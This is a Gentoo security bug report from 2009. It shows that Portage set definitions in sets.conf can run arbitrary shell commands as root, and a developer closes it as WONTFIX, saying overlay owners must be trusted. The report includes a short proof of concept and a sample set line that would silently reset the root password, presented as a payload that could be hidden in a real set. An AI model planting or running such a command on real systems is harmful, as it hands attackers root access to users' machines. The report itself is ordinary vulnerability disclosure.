Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 262746 - Portage sets allows any overlay master gain full access on user machine.
Summary: Portage sets allows any overlay master gain full access on user machine.
Status: RESOLVED WONTFIX
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High blocker (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2009-03-16 23:31 UTC by Petr Polezhaev
Modified: 2009-03-16 23:45 UTC (History)
2 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Petr Polezhaev 2009-03-16 23:31:02 UTC
-----------------------------------------------------------------------------
Nord night # cat /usr/local/portage/sets.conf 
[suicide]
class = portage.sets.shell.CommandOutputSet
command = echo -e "$(eix -I --only-names)\n$(emerge --list-sets | grep -v '^(*.glsa.*|downgrade|unavailible|module-rebuild)$'| sed 's/^\s*/@/')"

[test]
class = portage.sets.shell.CommandOutputSet
command = echo $(whoami > /var/lib/portage/test)
Nord night # emerge @test
emerge: 'test' is an empty set
emerge: no targets left after set expansion
Nord night # cat /var/lib/portage/test 
nightr
-------------------------------------------------------------------------
(nightr - aliased root user with uid 0).

This is simple example, but such string may be hidden in any real set, just like that
'command = echo -e "$(echo -e "abc123\nabc123" | passwd root)\n$(<real command>)"

Reproducible: Always

Steps to Reproduce:
1. make set like above.
2. emerge @<set_name>
3. Don't forget to turn on sshd and told what password you've assigned into set =)
Comment 1 Robert Buchholz (RETIRED) gentoo-dev 2009-03-16 23:45:23 UTC
Any ebuild within the overlay can execute code with root privileges outside the sandbox anyway. What's the point of protecting against attacks via malicious sets?

You must trust the owner of a repository when adding it to your list of overlays.